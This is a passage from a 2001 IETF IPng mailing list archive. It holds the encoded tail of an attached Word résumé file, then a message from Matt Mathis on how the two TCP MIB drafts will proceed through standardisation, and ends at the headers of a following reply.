AFMASQBUAAgARgBhAGIAcgBpAHoAaQBvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAEAAIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9o EKuRCAArJ7PZMAAAAGQBAAAQAAAAAQAAAIgAAAACAAAAkAAAAAMAAACgAAAABAAAAKwAAAAFAAAA xAAAAAcAAADQAAAACAAAAOQAAAAJAAAA+AAAABIAAAAEAQAACgAAACABAAAMAAAALAEAAA0AAAA4 AQAADgAAAEQBAAAPAAAATAEAABAAAABUAQAAEwAAAFwBAAACAAAA5AQAAB4AAAAFAAAARnJhegAA ZgAeAAAAAQAAAAByYXoeAAAADQAAAGxhaWIgLSBDZVNJVAAAbwAeAAAAAQAAAABhaWIeAAAACwAA AE5vcm1hbC5kb3QAVB4AAAAJAAAARmFicml6aW8AdABUHgAAAAIAAAA1AGJyHgAAABMAAABNaWNy b3NvZnQgV29yZCA4LjAAAEAAAAAAjIZHAAAAAEAAAAAAnoNtWb+/AUAAAAAAKgq1Wb+/AQMAAAAB AAAAAwAAAIAAAAADAAAA2gIAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAACAAAAAtXN1ZwuGxCTlwgAKyz5 rkQAAAAF1c3VnC4bEJOXCAArLPmuRAEAAAABAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAACQAAAA BgAAAJgAAAARAAAAoAAAABcAAACoAAAACwAAALAAAAAQAAAAuAAAABMAAADAAAAAFgAAAMgAAAAN AAAA0AAAAAwAAADhAAAAAgAAAOQEAAAeAAAAFgAAAFBvbGl0ZWNuaWNvIGRpIFRvcmlubwAxAAMA AAAGAAAAAwAAAAEAAAADAAAAgAMAAAMAAACzDQgACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAA AAAAAAAeEAAAAQAAAAUAAABGcmF6AAwQAAACAAAAHgAAAAYAAABUaXRsZQADAAAAAQAAAACYAAAA AwAAAAAAAAAgAAAAAQAAADYAAAACAAAAPgAAAAEAAAACAAAACgAAAF9QSURfR1VJRAACAAAA5AQA AEEAAABOAAAAewA4ADgAMQAzADEAMgBFADQALQAyAEEANgAyAC0AMQAxAEQANAAtAEIAOABGADgA LQAwADAAAGMAdQBsAHUAbQAuAGQAbwBjAAYAcwA4ADcAOQA3ADkAEQBBADoAXABjAHUAcgByAGkA YwB1AGwAdQBtAC4AZABvAGMACABGAGEAYgByAGkAegBpAG8AIgBEADoAXABEAG8AYwB1AG0AZQBu AHQAaQBcAEEAbgBnAGUAbABvAFwAYwB1AHIAcgBpAGMAdQBsAHUAbQAuAGQAbwBjAAgARgBhAGIA cgBpAHoAaQBvADoAQwA6AFwAdwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABTAGEAbAB2AGEAdABh AGcAZwBpAG8AIABhAHUAdABvAG0AYQB0AGkAYwBvACAAZABpACAAIAAgAGMAdQByAHIAaQBjAHUA bAB1AG0ALgBhAHMAZAAIAEYAYQBiAHIAaQB6AGkAbwAoAEQAOgBcAEQAbwBjAHUAbQBlAG4AdABp AFwAQQBuAGcAZQBsAG8AXABDAHUAcgByAGkAYwB1AGwAdQBtACAAdgBpAHQAYQBlAC4AZABvAGMA CABGAGEAYgByAGkAegBpAG8AKABEADoAXABEAG8AYwB1AG0AZQBuAHQAaQBcAEEAbgBnAGUAbABv AFwAQwB1AHIAcgBpAGMAdQBsAHUAbQAgAHYAaQB0AGEAZQAuAGQAbwBjAAMApAO7JgEAEAT/DwAA AAAAAAAAAAAAAAAAAAABAP8Nfy0BABAE/w8AAAAAAAAAAAAAAAAAAAAAAQDAaaQ+AQAQBP8PAAAA AAAAAAAAAAAAAAAAAAEAAQAAABcAAAAAAAAAAAAAAAAAAAAAAAAACxAAAA+EaAERhJj+FcYFAAFo AQZPSgEAUUoBAG8oAAEAt/ABAAAAFwAAAAAAAAAAAAAAAAAAAAAAAAALEAAAD4RoARGEmP4VxgUA AWgBBk9KAQBRSgEAbygAAQC38AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsQAAAPhGgBEYSY/hXG BQABaAEGT0oBAFFKAQBvKAABALfwAwAAAP8Nfy0AAAAAAAAAAAAAAACkA7smAAAAAAAAAAAAAAAA wGmkPgAAAAAAAAAAAAAAAP//////////////////AwAAAAAAAAAAAP9AA4ABAGAAAABgAAAA0DmD AB4BHgFgAAAAAAAAAGAAAAAAAAAAAbAAQyQARcaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiyicA//8AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACfAAAAAAAAABSAAAAUwAAAFkAAABaAAAAYAAA AG8DAABwAwAAcwMAAHQDAAB1AwAAMAAACABAAAAxAB4YAAAAADEAtAgAQAAAMQAgGAAAAAAxAKQI AEABADAAwAgAQAAAMADoDgBAAAAwAOAOAEAAADAA5g4AQAAAMADoDgBAAAAEAAAARxaQAQAAAgIG AwUEBQIDBAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAFQAaQBtAGUAcwAgAE4AZQB3ACAAUgBvAG0A YQBuAAAANRaQAQIABQUBAgEHBgIFBwAAAAAAAAAQAAAAAAAAAAAAAACAAAAAAFMAeQBtAGIAbwBs AAAAMyaQAQAAAgsGBAICAgICBAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAEEAcgBpAGEAbAAAAD8m kAEAAAILCgQCAQICAgSHAgAAAAAAAAAAAAAAAAAAnwAAAAAAAABBAHIAaQBhAGwAIABCAGwAYQBj AGsAAAAiAAQAcQiIGAAAxAIAABsBAAAAAMmERUbKhEVGAAAAAAQAAQAAAH8AAADVAgAAAQABAAAA BAADEAYAAAAAAAAAAAAAAAEAAQAAAAEAAAAAAAAAIQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 /////////wMAAAAEAAAABQAAACwAAAD/////CAAAAAkAAAAKAAAALgAAAP//////////DgAAAA8A AAAQAAAAEQAAABIAAAATAAAAFAAAAP7///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////wcAAAD+////LQAAAP////////////////////////////////////83AAAAAgAAADoAAAD9 /////v////7///89AAAAPgAAAD8AAABAAAAAQQAAAEIAAABEAAAAPAAAAEUAAAD+//////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////wUA RABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAQAA AAEAAAA4AAIB////////////////AgAAAAUGAAAAAAAAAAAAAAMAAAADAAAABAYAAAAAAAAAAAAA QQAAANwBAAAAAQAAAQBDAG8AbQBwAE8AYgBqAAAAAAABAAAAAAAAAI0DAKD0o0gA6H5GAFwOAABc DgAAAgCUmSAAbwEAAAAA1w5XJhIAAgD///////////////8AAAAAXA4AAAsAAACqAAAAAgAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAawAAAAAAAAAwAFQAYQBiAGwAZQAAAAAAogAAABgAAAC4LEMAAAAA AAAAAAAsAAAAAAAAAFwOAAACAAAAdAAAAAIAAACLAAAADgACAP///////////////ywAAAAAAAAA XA4AAAEAAABdAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADeDQAALAAAAAAAAABcDgAACAAAAD4AAAAC AAAAVQAAABgAAAC4LEMAAAAAAAAAAAAsAAAAAAAAAFwOAAAMAAAAHwAAAAIAAAAAAAAA//////// ////////AAAAACwAAAAAAAAAXA4AAAcAAAAAAAAAAgAAABcAAAAYAAAAuCxDAAAAAAC4MkMAAQAA AP7///8DAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAA EAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAe AAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAAqAAAAKwAAACwA AAAtAAAALgAAAC8AAAAwAAAAMQAAADIAAAAzAAAANAAAADUAAAA2AAAANwAAADgAAAA5AAAA/v// /zsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAP7///9CAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAA /v////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////9hAGYA bwAAAAAAAAAAAAAAAABIAFVAogDxAEgAAAAZAEMAbwBsAGwAZQBnAGEAbQBlAG4AdABvACAAaQBw AGUAcgB0AGUAcwB0AHUAYQBsAGUAAAAGAD4qAUIqAlIA/k8BAAIBUgAAAAsASQBuAGQAaQByAGkA egB6AG8AIAAxAAAAHQAQAAMkAxsmkBJkoAAAACMkARiE6RcZhHUEGoTsBwAMAENKDgBPSgIAUUoC AAAAAAABAAAAAgAAAAMAAAB1AwAA/////wAAAAABAP////8AAAAAAAAAAAIAAAACAAAAAQD///// AAAAAAAAAAAAAAAAAQAAAAEA/////wAAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAB AAAAAgAAAAMAAAAGAAAAAAAAAAAIAQAAAAAIAgAAAAAI//8AAAAAAAAAAHUDAAADAAAYAAAAAP// //8AAAAAUgAAAGEAAABvAwAAdgMAAJwAAAAAAAAAAAAAAACAAAAAgAgAAAABAAAAAAAAAACAAAAA gJwAAAAAAAAAAAAAAACAAAAAgJgAAAAAAAAAAAAAAACAAAAAgAAEAAAkGAAABgAAAAAEAABXBQAA dAcAACQYAAAHAAAACQAAAAsAAAAABAAAMwcAAHUHAAAIAAAACgAAAP//BAAAAAcAVQBuAGsAbgBv AHcAbgAIAEYAYQBiAHIAaQB6AGkAbwASAFAAcgBlAC0AaQBuAHMAdABhAGwAbABlAGQAIABVAHMA ZQByAAYAcwA4ADcAOQA3ADkADwAA8DgAAAAAAAbwGAAAAAIIAAACAAAABQAAAAEAAAABAAAABgAA AEAAHvEQAAAA/////wAA/wCAgIAA9wAAEAAPAALwkgAAABAACPAIAAAAAQAAAAUEAAAPAAPwMAAA AA8ABPAoAAAAAQAJ8BAAAAAAAAAAAAAAAAAAAAAAAAAAAgAK8AgAAAAABAAABQAAAA8ABPBCAAAA EgAK8AgAAAABBAAAAA4AAFMAC/AeAAAAvwEAABAAywEAAAAA/wEAAAgABAMJAAAAPwMBAAEAAAAR 8AQAAAABAAAAdQMAAAAAAAAEAAAABgAAAAoAAAA3AAAATwAAAFoAAABgAAAAngEAAKQBAAAjAgAA JwIAACkCAAAzAgAANQIAADsCAABKAgAAVQIAAF4CAABoAgAAagIAAHECAAD/AgAACQMAAHADAAB2 AwAAHAAHABwABwAcAAcABAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcABwD//w4A AAAMAGwAYQBpAGIAIAAtACAAQwBlAFMASQBUADUARAA6AFwAVwBJAE4ARABPAFcAUwBcAFMAYQBs AHYAYQB0AGEAZwBnAGkAbwAgAGEAdQB0AG8AbQBhAHQAaQBjAG8AIABkAGkAIAAgACAARABvAGMA dQBtAGUAbgB0AG8AMQAuAGEAcwBkAAwAbABhAGkAYgAgAC0AIABDAGUAUwBJAFQAEQBBADoAXABj AHUAcgByAGkAYwB1AGwAdQBtAC4AZABvAGMABgBzADgANwA5ADcAOQARAEEAOgBcAGMAdQByAHIA aQBjAHUAbAB1AG0ALgBkAG8AYwAIAEYAYQBiAHIAaQB6AGkAbwAiAEQAOgBcAEQAbwBjAHUAbQBl AG4AdABpAFwAQQBuAGcAZQBsAG8AXABjAHUAcgByAGkAYwB1AGwAdQBtAC4AZABvAGMACABGAGEA YgByAGkAegBpAG8AOgBDADoAXAB3AGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAFMAYQBsAHYAYQB0 AGEAZwBnAGkAbwAgAGEAdQB0AG8AbQBhAHQAaQBjAG8AIABkAGkAIAAgACAAYwB1AHIAcgBpAGMA dQBsAHUAbQAuAGEAcwBkAAgARgBhAGIAcgBpAHoAaQBvACgARAA6AFwARABvAGMAdQBtAGUAbgB0 AGkAXABBAG4AZwBlAGwAbwBcAEMAdQByAHIAaQBjAHUAbAB1AG0AIAB2AGkAdABhAGUALgBkAG8A YwAIAEYAYQBiAHIAaQB6AGkAbwAoAEQAOgBcAEQAbwBjAHUAbQBlAG4AdABpAFwAQQBuAGcAZQBs AG8AXABDAHUAcgByAGkAYwB1AGwAdQBtACAAdgBpAHQAYQBlAC4AZABvAGMAAwCkA7smAQAQBP8P AAAAAAAAAAAAAAAAAAAAAAEA/w1/LQEAEAT/DwAAAAAAAAAAAAAAAAAAAAABAMBppD4BABAE/w8A AAAAAAAAAAAAAAAAAAAAAQABAAAAFwAAAAAAAAAAAAAAAAAAAAAAAAALEAAAD4RoARGEmP4VxgUA AWgBBk9KAQBRSgEAbygAAQC38AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsQAAAPhGgBEYSY/hXG BQABaAEGT0oBAFFKAQBvKAABALfwAQAAABcAAAAAAAAAAAAAAAAAAAAAAAAACxAAAA+EaAERhJj+ FcYFAAFoAQZPSgEAUUoBAG8oAAEAt/ADAAAA/w1/LQAAAAAAAAAAAAAAAKQDuyYAAAAAAAAAAAAA AADAaaQ+AAAAAAAAAAAAAAAA//////////////////8DAAAAAAAAAAAA/0ADgAEAYAAAAGAAAADQ OYMAHgEeAWAAAAAAAAAAYAAAAAAAAAABsABDJABFxoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGLKJwD//wAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ8AAAAAAAAAFIAAABTAAAAWQAAAFoAAABg AAAAbwMAAHADAABzAwAAdAMAAHUDAAAwAAAIAEAAADEAHhgAAAAAMQC0CABAAAAxACAYAAAAADEA pAgAQAEAMADACABAAAAwAOgOAEAAADAA4A4AQAAAMADmDgBAAAAwAOgOAEAAAAQAAABHFpABAAAC AgYDBQQFAgMEAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8A bQBhAG4AAAA1FpABAgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBv AGwAAAAzJpABAAACCwYEAgICAgIEAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAQQByAGkAYQBsAAAA PyaQAQAAAgsKBAIBAgICBIcCAAAAAAAAAAAAAAAAAACfAAAAAAAAAEEAcgBpAGEAbAAgAEIAbABh AGMAawAAACIABABxCIgYAADEAgAAGwEAAAAAyYRFRsqERUYAAAAABAABAAAAfwAAANUCAAABAAEA AAAEAAMQBgAAAAAAAAAAAAAAAQABAAAAAQAAAAAAAAAhAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAClBsAHtAC0AIAAEjAAABAAGQBkAAAAGQAAAHoDAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAA//8SAAAA AAAAAAQARgByAGEAegAAAAAAAAAMAGwAYQBpAGIAIAAtACAAQwBlAFMASQBUAAgARgBhAGIAcgBp AHoAaQBvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAP7/AAAEAAIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAGQBAAAQ AAAAAQAAAIgAAAACAAAAkAAAAAMAAACgAAAABAAAAKwAAAAFAAAAxAAAAAcAAADQAAAACAAAAOQA AAAJAAAA+AAAABIAAAAEAQAACgAAACABAAAMAAAALAEAAA0AAAA4AQAADgAAAEQBAAAPAAAATAEA ABAAAABUAQAAEwAAAFwBAAACAAAA5AQAAB4AAAAFAAAARnJhegAAZgAeAAAAAQAAAAByYXoeAAAA DQAAAGxhaWIgLSBDZVNJVAAAbwAeAAAAAQAAAABhaWIeAAAACwAAAE5vcm1hbC5kb3QAVB4AAAAJ AAAARmFicml6aW8AdABUHgAAAAIAAAA0AGJyHgAAABMAAABNaWNyb3NvZnQgV29yZCA4LjAAAEAA AAAARsMjAAAAAEAAAAAAnoNtWb+/AUAAAAAA5EaRWb+/AQMAAAABAAAAAwAAAAEA/v8DCgAA//// /wYJAgAAAAAAwAAAAAAAAEYZAAAARG9jdW1lbnRvIE1pY3Jvc29mdCBXb3JkAAoAAABNU1dvcmRE b2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAEgARAAoAAQBbAA8AAgAAAAAAAAAmAABA8f8CACYAAAAHAE4AbwByAG0AYQBsAGUAAAACAAAA BABtSBAENgABQAEAAgA2AAAACABUAGkAdABvAGwAbwAgADEAAAAIAAEABiQBQCYADABDSjQAT0oD AFFKAwA6AAJAAQACADoAAAAIAFQAaQB0AG8AbABvACAAMgAAAAwAAgAGJAEPhMQCQCYBDABDShgA T0oCAFFKAgA+AANAAQACAD4AAAAIAFQAaQB0AG8AbABvACAAMwAAAAsAAwADJAMGJAFAJgIADwA1 CIFDShgAT0oCAFFKAgAAPgAEAAEAAgA+AAAACABUAGkAdABvAGwAbwAgADQAAAAPAAQAAyQDBiQB D4TEAkAmAwAMAENKGABPSgIAUUoCAAAAAAAAAAAAAABOAEFA8v+hAE4AAAAfAEMAYQByAGEAdAB0 AGUAcgBlACAAcAByAGUAZABlAGYAaQBuAGkAdABvACAAcABhAHIAYQBnAHIA ------=_NextPart_000_00C4_019DBC44.57CC4490-- From owner-ipng@sunroof.eng.sun.com Fri Dec 14 10:33:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBEIX1Fp006091 for ; Fri, 14 Dec 2001 10:33:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBEIX1rP006090 for ipng-dist; Fri, 14 Dec 2001 10:33:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBEIWxFp006083 for ; Fri, 14 Dec 2001 10:33:00 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBEIWYNE025832 for ; Fri, 14 Dec 2001 10:32:34 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBEIWYMv025831 for ipng@sunroof.eng.sun.com; Fri, 14 Dec 2001 10:32:34 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMwmFp003405 for ; Thu, 13 Dec 2001 14:58:48 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA07930 for ; Thu, 13 Dec 2001 14:58:48 -0800 (PST) Received: from localhost.psc.edu (154-203-131-12.bellhead.com [12.131.203.154]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA24372 for ; Thu, 13 Dec 2001 15:58:48 -0700 (MST) Received: from localhost (mathis@localhost) by localhost.psc.edu (8.11.2/8.11.2) with ESMTP id fBDHvla08997; Thu, 13 Dec 2001 12:57:47 -0500 X-Authentication-Warning: localhost.psc.edu: mathis owned process doing -bs Date: Thu, 13 Dec 2001 12:57:46 -0500 (EST) From: Matt Mathis To: , Subject: TCP MIB plans Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Through a long series of pair-wise conversations, Scott Bradner, Allison Mankin, Bill Fenner and I have converged on a plan for the two open TCP MIB drafts. We will be keeping them as separate documents until they are further along the standards process and merge them into a single document at some future date. Specifically: The ipv6 WG will remove some duplicated performance measurement instruments from the rfc2012 update draft [1]. I will minimize duplicated objects in the RFC2012 extensions draft [2]. The duplicated objects that remain will be the minimal set needed to permit a stand alone implementation of the extensions draft. These objects will be kept up-to-date with any changes to the corresponding objects in the rfc2012 update draft. Future versions of the extensions draft will be submitted as tsv WG work items (i.e. named -ietf-tsvwg- ) The two documents will proceed independently on the standards track for some yet to be determined time. Since there is an urgent need to complete an TCP/IPv6 MIB, it is expected that the rfc2012 update will be completed first. In principle the two documents can merged at any time. The actual timing will be determined by process questions pertaining to the IPv6 communities need to deploy a complete MIB set for the IPv6 base protocols. Thanks, --MM-- [1] draft-ietf-ipngwg-rfc2012-update-02.txt [2] draft-mathis-rfc2012-extension-00.txt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 14 13:56:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBELuLFp006419 for ; Fri, 14 Dec 2001 13:56:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBELuLvU006418 for ipng-dist; Fri, 14 Dec 2001 13:56:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBELuIFp006411 for ; Fri, 14 Dec 2001 13:56:18 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA00597 for ; Fri, 14 Dec 2001 13:56:15 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA05855 for ; Fri, 14 Dec 2001 14:56:14 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBELuBT10759; Fri, 14 Dec 2001 23:56:11 +0200 Date: Fri, 14 Dec 2001 23:56:10 +0200 (EET) From: Pekka Savola To: Vladislav Yasevich cc: Subject: Re: I-D 